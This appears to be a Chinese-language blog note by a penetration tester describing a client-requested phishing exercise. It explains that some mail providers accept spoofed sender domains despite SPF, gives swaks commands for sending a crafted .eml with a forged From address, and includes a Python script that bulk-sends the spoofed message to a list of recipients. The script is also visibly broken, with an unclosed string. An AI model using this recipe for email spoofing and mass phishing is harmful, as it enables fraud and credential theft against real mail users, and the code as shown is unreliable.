关于邮件钓鱼的事件记录

最近接到一个活，是需要给客户进行邮件钓鱼。客户的要求是：伪造他们自己的邮箱进行钓鱼。
之前按我的理解是，邮箱网关服务器配置了spf的话，理论上是无法伪造邮箱的。但是实际上测试好像还是可以的，目前为止好像就qq邮箱比较严，伪造不了，163啥的都可以，只是不能伪造一些大型的域名。

目前搞这些活的思路就是，你先把邮件样式搞定，然后用foxmail去管理这个邮箱。
然后邮件导出这个右键为eml后缀。

然后通过swaks --data data.eml -t [email protected] -f [email protected]

如果报流程里一直请求的是localhost:25，可以指定 --server mail.xxx.com

-f 必须存在，不然会报错。

结合下面的代码就可以批量发送邮件。

import time
import sys
import subprocess
#发送的完整邮件内容有2部分组成，一部分是收件人，是可变的，一部分是邮件内容，是不变的，内容使用file_c变量，收件人使用file_f变量，具体看脚本内容

file_c = '''Subject: =?gb2312?B?xxxxxxxdLss6M=?=  
#主题等都是gb2312编码后的base64加密
#Thread-Topic: =?gb2312?B?0/Lxxxxxxxxxss6M=?=
Thread-Index: AdT6eO/KxxxxxxxxxxxxxxxxIKA==
Date: {time.ctime()} +0800
#发送邮件是提前发送的模板邮件，所以需要获取当前时间作为发送时间，不然接收的时间会不对

file = open(f'/usr/local/src/{sys.argv[1]}', 'r')
names = file.readlines()
for name in names:
    file_f = f'To: "{name.strip()}" <{name.strip()}>\n'
    #print(file_f)
    with open('/usr/local/src/file.txt', 'w') as f:
        f.writelines(file_f + file_c)
    status = subprocess.Popen(['./swaks', '--data', '/usr/local/src/file.txt', '--to', name.strip(), '--from', '[email protected]'], stdout=subprocess.PIPE)
    lg = status.stdout.readlines()
    print(type(lg))
    with open('/usr/local/src/log.txt', 'a+') as g:
        for line in lg:
            g.write(line.decode())

subprocess.Popen在3.7之后可以用subprocess.run代替，其中多了timeout的参数，增加了阻塞结束的作用。

给一个自己的smtp的py代码吧。
